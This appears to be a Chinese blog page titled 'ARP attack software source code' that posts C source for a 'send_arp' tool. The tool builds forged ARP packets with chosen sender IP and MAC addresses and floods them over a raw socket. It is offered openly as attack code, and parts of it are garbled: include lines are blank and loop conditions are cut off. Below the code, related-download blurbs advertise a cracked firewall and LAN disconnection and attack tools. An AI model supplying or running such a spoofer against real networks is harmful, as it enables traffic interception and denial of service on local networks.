`
宋科明
  • 浏览: 99971 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
社区版块
存档分类
最新评论

ARP攻击软件源码

阅读更多

/***************************************************************************
main.c - description
-------------------
begin : 五 2月 14 20:00:42 CST 2003
copyright : (C) 2003 by root
email :
***************************************************************************/

/***************************************************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
***************************************************************************/



#include
#include
#include
#include
#include
#include
#include
/*#include */
#include
#include

#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2

#define DEFAULT_DEVICE "eth0"

char usage[]={"send_arp: sends out custom ARP packet.\n
\tusage:send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr times \n\n"};

struct arp_packet {
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};

void die(char *);
void get_ip_addr(struct in_addr*,char*);
void get_hw_addr(char*,char*);

int main(int argc,char** argv){

struct in_addr src_in_addr,targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;

if(argc != 6)die(usage);

sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));
if(sock<0){
perror("socket error!");
exit(1);
}

number = atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op=htons(OP_ARP_REQUEST);

get_hw_addr(pkt.targ_hw_addr,argv[4]);
get_hw_addr(pkt.rcpt_hw_addr,argv[4]);
get_hw_addr(pkt.src_hw_addr,argv[2]);
get_hw_addr(pkt.sndr_hw_addr,argv[2]);

get_ip_addr(&src_in_addr,argv[1]);
get_ip_addr(&targ_in_addr,argv[3]);

memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN);

bzero(pkt.padding,18);

strcpy(sa.sa_data,DEFAULT_DEVICE);
for (j=0;j {
if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0){
perror("sendto");
exit(1);
}
printf("now is sending the num: %i packet\n",j);
}
exit(0);
}

void die(char* str){
fprintf(stderr,"%s\n",str);
exit(1);
}

void get_ip_addr(struct in_addr* in_addr,char* str){

struct hostent *hostp;

in_addr->s_addr=inet_addr(str);
if(in_addr->s_addr == -1){
if( (hostp = gethostbyname(str)))
bcopy(hostp->h_addr,in_addr,hostp->h_length);
else {
fprintf(stderr,"send_arp: unknown host %s\n",str);
exit(1);
}
}
}

void get_hw_addr(char* buf,char* str){

int i;
char c,val;

for(i=0;i if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");

*buf = val << 4;
if( !(c = tolower(*str++))) die("Invalid hardware address");
if(isdigit(c)) val = c-'0';
else if(c >= 'a' && c <= 'f') val = c-'a'+10;
else die("Invalid hardware address");

*buf++ |= val;

if(*str == ':')str++;
}
}

分享到:
评论

相关推荐

    ARP攻击源码

    ARP 攻击源码和 防御ARP 攻击源码和 防御ARP 攻击源码和 防御ARP 攻击源码和 防御ARP 攻击源码和 防御ARP 攻击源码和 防御ARP 攻击源码和 防御

    arp绑定工具 V1.0.0.5 完美版(源代码)

    该软件是用delphi7编的,当时是为了解决学校的arp攻击问题而编写的一个自动检测和生成bat文件的一个小工具。这是本人第一个用delphi编写的小软件。没有用到其他控件,编译好即可运行,对于初学者可能有一定的用途,...

    彩影arp防火墙 6.0.2 单机版 破解版

    3.拦截对外ARP攻击,在系统内核层拦截本机对外的ARP攻击数据包,避免本机感染ARP病毒后成为攻击源。 4.拦截IP冲突,在系统内核层拦截接收到的IP冲突数据包,避免本机因IP冲突造成掉线等。 5.主动防御,主动向网关...

    彩影ARP防火墙6.02简体中文单机版下载

    3.拦截对外ARP攻击,在系统内核层拦截本机对外的ARP攻击数据包,避免本机感染ARP病毒后成为攻击源。 4.拦截IP冲突,在系统内核层拦截接收到的IP冲突数据包,避免本机因IP冲突造成掉线等。 5.主动防御,主动向网关...

    ARP防火墙单机免费版.rar

    服务器遭受arp攻击不必再一筹莫展,内含破解补丁可能被杀毒软件报警,请放心使用

    局域网指定ip断网工具源码(貌似arp防火墙拦不住)

    2.由于 192.168.1.104 天天用直播软件,或者一天到晚的迅雷下个不停,使得192.168.1.109 使用电脑时感觉网速很卡 。 3.这时192.168.1.109 可以给路由器发arp数据包,这个地方很重要 ,不是给192.168.1.104发数据包...

    NbtScan2.21 真实Mac地址扫描工具软件

    可以穿过防火墙的ARP攻击程序的源代码 很值得研究一下的哦

    delphi源码--局域网测试能手

    DELPHI用的ARP攻击软件,非常细节化,用开放式傻瓜界面,初用DELPHI写ARP的朋友会有很大帮助。目前在delphi领域,恐怕没有这么详细的arp代码。

    LANShield网络防火墙源代码

    有效拦截局域网内的ARP攻击,并具有保护网关功能  2.可配合服务器端,更有效管理局域网网络  3.自带应用层过滤模块,有效控制本机进程的网络访问  4.自带攻击模块,用于反击,包含所有ARP攻击方法    开源是很冏的...

    LANShield防火墙源码

    1.有效拦截局域网内的ARP攻击,并具有保护网关功能 2.可配合服务器端,更有效管理局域网网络 3.自带应用层过滤模块,有效控制本机进程的网络访问 4.自带攻击模块,用于反击,包含所有ARP攻击方法 天空下载: ...

    基于Python实现的远程控制主机设计.zip

    主要实现了远程监控局域网内的主机桌面与网络情况、简单键鼠控制、远程断网(ARP攻击)、数据加密传输等功能。远程主机为 windows 10 虚拟机(运行在 VMWare Workstation Pro 16 中)。系统环境为 Windows 10,使用...

    瑞星全功能安全软件2011 v23.02.07.80 永久免费版.zip

    智能ARP防护:智能检测局域网内的ARP攻击及攻击源,针对出站、入站的ARP进行检测,并且能够检测可疑的ARP请求,分别对各种攻击标示严重等级,方便企业IT人员快速准确地解决网络安全隐患。 瑞星智能杀毒 智能虚拟化...

    计算机网络安全基础试题及答案..doc

    原因是由于应用程序中存 在漏洞,而在将用户数据复制到另一个变量中时没有检查数据的复制量,可以通过检查程 序的源代码来发现。 4.Ip哄骗:攻击者通过伪造计算机的ip地址来实施攻击的攻击策略。原理:因为数 据包中...

    网络安全技术概述.docx

    网络攻击及其防护技术 计算机网络安全是指计算机、网络系统的硬件、软件以及系统中的数据受到保护,不因偶然或恶意的原因遭到破坏、泄露,能确保网络连续可靠的运行。网络安全其实就是网络上的信息存储和传输安全。 ...

    计算机网络安全文献综述.doc

    例如局域网中ARP攻击包问题。 非法访问。指未经授权使用网络资源 或以未授权的方式使用网络资源,主要包括非法用户进入网络或系统进行违法操作和合法 用户以未授权的方式进行操作。 利用TCP/IP 协议上的某些不安全...

    网吧技术培训手册

    3.2.2 安装系统软件 55 3.3 安装驱动、补丁及应用软件 56 3.3.1 GHOST版本的系统 56 3.3.2 安装驱动 56 3.3.3 安装系统补丁 57 3.3.4 安装应用软件 57 3.3 细节设置 59 3.3.1 常规设置(可选) 59 3.3.2 删除多余...

    锐起网吧技术培训手册网管必备

    3.2.2 安装系统软件 55 3.3 安装驱动、补丁及应用软件 56 3.3.1 GHOST版本的系统 56 3.3.2 安装驱动 56 3.3.3 安装系统补丁 57 3.3.4 安装应用软件 57 3.3 细节设置 59 3.3.1 常规设置(可选) 59 3.3.2 删除多余...

    网络安全重要性.doc

    黑客主要利用计算 机系统或网络的漏洞,包括软件漏洞、硬件漏洞、网络协议漏洞、管理方面的漏洞喝一 些人为的错误,通过现有的或自己开发的工具软件实施攻击。黑客攻击手段主要包括: (1)探测攻击。通过少票允许...

    计算机网络安全与维护.doc

    例如局 域网中ARP攻击包问题。 (三)"黑客"的侵犯: "黑客"就是一种在网络中具有破坏性、隐蔽性和非授权性的特性,通过网络利用系统漏 洞等方式非法植入对方计算机系统,一旦进入计算机中,用户的主机就被黑客完全...

Global site tag (gtag.js) - Google Analytics